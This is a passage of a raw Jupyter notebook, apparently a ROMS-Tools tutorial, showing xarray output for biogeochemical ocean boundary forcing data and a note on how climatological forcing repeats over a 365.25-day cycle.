id='attrs-fb8c75fc-165e-4bcb-a8e8-9bd7e803500c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-fb8c75fc-165e-4bcb-a8e8-9bd7e803500c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-12077fac-3a05-43a2-907a-15bf1b99d4e2' class='xr-var-data-in' type='checkbox'><label for='data-12077fac-3a05-43a2-907a-15bf1b99d4e2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary diazotroph iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>western boundary small phytoplankton CaCO3</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-f3f9e68b-fced-49b5-8d3d-25ed34ec65e6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary zooplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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class='xr-index-name'><div>bry_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-0748b68f-5ee5-440f-89ac-115270725e4a' class='xr-index-data-in' type='checkbox'/><label for='index-0748b68f-5ee5-440f-89ac-115270725e4a' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([15.000000000000002, 45.0, 74.0,\n", " 105.0, 135.0, 166.0,\n", " 196.0, 227.0, 258.0,\n", " 288.0, 319.0, 349.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;bry_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-7548ed48-2f01-4901-9a4e-65af7576fd0e' class='xr-section-summary-in' type='checkbox' ><label for='section-7548ed48-2f01-4901-9a4e-65af7576fd0e' class='xr-section-summary' >Attributes: <span>(10)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS boundary forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-02 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-01-04 00:00:00</dd><dt><span>source :</span></dt><dd>CESM_REGRIDDED</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd><dt><span>climatology :</span></dt><dd>True</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 63MB\n", "Dimensions: (bry_time: 12, s_rho: 100, xi_rho: 102, eta_rho: 102)\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 96B 2000-01-16 ... 2000-12-15\n", " * bry_time (bry_time) float64 96B 15.0 45.0 74.0 ... 319.0 349.0\n", "Dimensions without coordinates: s_rho, xi_rho, eta_rho\n", "Data variables: (12/128)\n", " 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meta=np.ndarray>\n", " diazFe_west (bry_time, s_rho, eta_rho) float32 490kB dask.array<chunksize=(12, 100, 102), meta=np.ndarray>\n", " spCaCO3_west (bry_time, s_rho, eta_rho) float32 490kB dask.array<chunksize=(12, 100, 102), meta=np.ndarray>\n", " zooC_west (bry_time, s_rho, eta_rho) float32 490kB dask.array<chunksize=(12, 100, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS boundary forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-02 00:00:00\n", " end_time: 2012-01-04 00:00:00\n", " source: CESM_REGRIDDED\n", " model_reference_date: 2000-01-01 00:00:00\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0\n", " climatology: True" ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ "bgc_boundary_forcing.ds" ] }, { "cell_type": "code", "execution_count": 17, "id": "e1caca0d-72f6-4fcb-af9a-15d17e21909c", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div><svg 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white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;bry_time&#x27; (bry_time: 12)&gt; Size: 96B\n", "array([ 15., 45., 74., 105., 135., 166., 196., 227., 258., 288., 319., 349.])\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 96B 2000-01-16 2000-02-15 ... 2000-12-15\n", " * bry_time (bry_time) float64 96B 15.0 45.0 74.0 105.0 ... 288.0 319.0 349.0\n", "Attributes:\n", " long_name: days since 2000-01-01 00:00:00\n", " units: days\n", " cycle_length: 365.25</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'bry_time'</div><ul class='xr-dim-list'><li><span class='xr-has-index'>bry_time</span>: 12</li></ul></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-158e1ccc-6cc1-4f4d-84d1-5d7c787a64f8' class='xr-array-in' type='checkbox' checked><label for='section-158e1ccc-6cc1-4f4d-84d1-5d7c787a64f8' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>15.0 45.0 74.0 105.0 135.0 166.0 196.0 227.0 258.0 288.0 319.0 349.0</span></div><div class='xr-array-data'><pre>array([ 15., 45., 74., 105., 135., 166., 196., 227., 258., 288., 319., 349.])</pre></div></div></li><li class='xr-section-item'><input id='section-e39bdd95-7e47-4118-bd17-b3075c8fa7c1' class='xr-section-summary-in' type='checkbox' checked><label for='section-e39bdd95-7e47-4118-bd17-b3075c8fa7c1' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2000-01-16 ... 2000-12-15</div><input id='attrs-a2ab1a38-2d67-48cf-bf9c-d9edaa897a43' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-a2ab1a38-2d67-48cf-bf9c-d9edaa897a43' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-053578e4-2e8c-4103-909d-eb42f6e468c0' class='xr-var-data-in' type='checkbox'><label for='data-053578e4-2e8c-4103-909d-eb42f6e468c0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2000-01-16T00:00:00.000000000&#x27;, &#x27;2000-02-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-03-15T00:00:00.000000000&#x27;, &#x27;2000-04-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-05-15T00:00:00.000000000&#x27;, &#x27;2000-06-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-07-15T00:00:00.000000000&#x27;, &#x27;2000-08-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-09-15T00:00:00.000000000&#x27;, &#x27;2000-10-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-11-15T00:00:00.000000000&#x27;, &#x27;2000-12-15T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>bry_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>15.0 45.0 74.0 ... 319.0 349.0</div><input id='attrs-6c73443b-8e3f-48f4-a681-cb35cb840563' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6c73443b-8e3f-48f4-a681-cb35cb840563' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-6d09c832-c145-4ed4-b73f-6ae56bc1bdcb' class='xr-var-data-in' type='checkbox'><label for='data-6d09c832-c145-4ed4-b73f-6ae56bc1bdcb' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd><dt><span>cycle_length :</span></dt><dd>365.25</dd></dl></div><div class='xr-var-data'><pre>array([ 15., 45., 74., 105., 135., 166., 196., 227., 258., 288., 319., 349.])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-03f5b9d8-2535-4fb6-b73d-fb0fa9729b71' class='xr-section-summary-in' type='checkbox' ><label for='section-03f5b9d8-2535-4fb6-b73d-fb0fa9729b71' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>bry_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-245a140a-2b82-4915-a5a1-6ebdef1b0f6b' class='xr-index-data-in' type='checkbox'/><label for='index-245a140a-2b82-4915-a5a1-6ebdef1b0f6b' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([15.000000000000002, 45.0, 74.0,\n", " 105.0, 135.0, 166.0,\n", " 196.0, 227.0, 258.0,\n", " 288.0, 319.0, 349.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;bry_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-d76df28a-06ea-45fa-a255-f81cb5840c9a' class='xr-section-summary-in' type='checkbox' checked><label for='section-d76df28a-06ea-45fa-a255-f81cb5840c9a' class='xr-section-summary' >Attributes: <span>(3)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd><dt><span>cycle_length :</span></dt><dd>365.25</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'bry_time' (bry_time: 12)> Size: 96B\n", "array([ 15., 45., 74., 105., 135., 166., 196., 227., 258., 288., 319., 349.])\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 96B 2000-01-16 2000-02-15 ... 2000-12-15\n", " * bry_time (bry_time) float64 96B 15.0 45.0 74.0 105.0 ... 288.0 319.0 349.0\n", "Attributes:\n", " long_name: days since 2000-01-01 00:00:00\n", " units: days\n", " cycle_length: 365.25" ] }, "execution_count": 17, "metadata": {}, "output_type": "execute_result" } ], "source": [ "bgc_boundary_forcing.ds[\"bry_time\"]" ] }, { "cell_type": "markdown", "id": "9f155a39-c738-4992-9745-c15efd471e6f", "metadata": {}, "source": [ "Note that `bgc_boundary_forcing.ds` has twelve time entries because the data in `source = {\"name\": \"CESM_REGRIDDED\", \"path\": bgc_path, \"climatology\": True}` is a climatology. \n", "\n", "For climatologies, `ROMS-Tools` does not subsample the twelve time entries further, regardless of the provided start and end time. Note that the `bry_time` coordinate has an additional attribute: `cycle_length` (with units in days). This attribute will tell ROMS to repeat the climatology every 365.25 days. In other words, the data in `bgc_boundary_forcing.ds` will work for ROMS run over any time window (as long as the model reference date is January 1, xxxx).\n", "\n", "We can plot the BGC boundary forcing as we saw above." ] }, { "cell_type": "code", "execution_count": 18, "id": "aabbf660-ef8d-423c-8e99-c618e02169a1", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 806.96 ms\n", "CPU times: user 584 ms, sys: 188 ms, total: 772 ms\n", "Wall time: 866 ms\n" ] }, { "data": { "image/png": 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DEauj//DDD3PFFVdwxBFHcPHFF5OXl0dFRQWvv/46xx13HA899NB++Vyys7M5/vjjueqqq6ipqeH+++9nxIgRXHvttQDYbDbuuecerrrqKmbNmsUll1wSK4FaVlbGLbfcEpvr6quv5r777mPOnDlcc8011NbW8sgjjzB+/HhaW1v3an133303c+fO5fjjj+fqq6+msbGRP/3pT4wfPz7h32Pu3Lncd999nH766Vx66aXU1tby5z//mREjRrBy5cpe3XPu3Lnk5OTwwgsvcMYZZ5Cfn7/Ha0477bSYZ+n666+nvb2dv/3tb+Tn51NVVdWr+y9YsIDW1lZ+9rOfkZGRwe23386YMWMYPnw4P/zhD9m1axfp6em89NJLe507sC8MHz6czMxMHnnkEdLS0nC73UyfPj2W52Gz2bj44ot56KGH0DSNSy65ZL+vUSKRSPYbB6aokkQi6UtqamqMm266ySgpKTFsNptRWFhonHLKKcajjz4aGxMOh43f/OY3xpAhQwyHw2FMnTrVeO2115LKeL744ovGaaedZuTn5xt2u90oLS01rr/+eqOqqirhnn/729+MYcOGGZqmJZWBXLRokTFnzhwjIyPDcDqdxvDhw4358+cbX375ZWzMlVdeabjdbtP3Axg33XRT0vnu5S7NiJbdfPbZZ43bbrvNyM/PN1wulzF37tyEcppRnn/+eWPq1KmGw+EwsrOzjcsuu8zYuXNn0rinnnrKGDZsmGG3240pU6YYb7/9tmUJ1N/97nem7+nOO+9MOPfSSy8ZY8eONRwOhzFu3Djj5ZdfTprTMAzjscceM0aOHGk4HA5jzJgxxsKFC03LgVp9bvHceOONBmA888wzux0Xz3//+19j0qRJhtPpNMrKyox77rnHePzxxw3A2LZtW2zc7kqgxvPjH//YAIyHHnrIMAzDWLt2rTF79mwjNTXVyM3NNa699tpYydv4cqS9KYH6xRdfJIyLriX+99SstO1//vMfY9y4cYau66blUD///HMDME477bTdf2gSiURykKMYxgHIApRIJBLJAeGWW27hscceo7q6OqF5naRnrFixgilTpvDkk0/2qDKURCKRHKzInASJRCI5TPB6vTz11FNccMEFUiDsJX/7299ITU3l/PPPP9BLkUgkkn5F5iRIJBLJIU5tbS3vvfceL774Ig0NDXz/+98/0Es66Hj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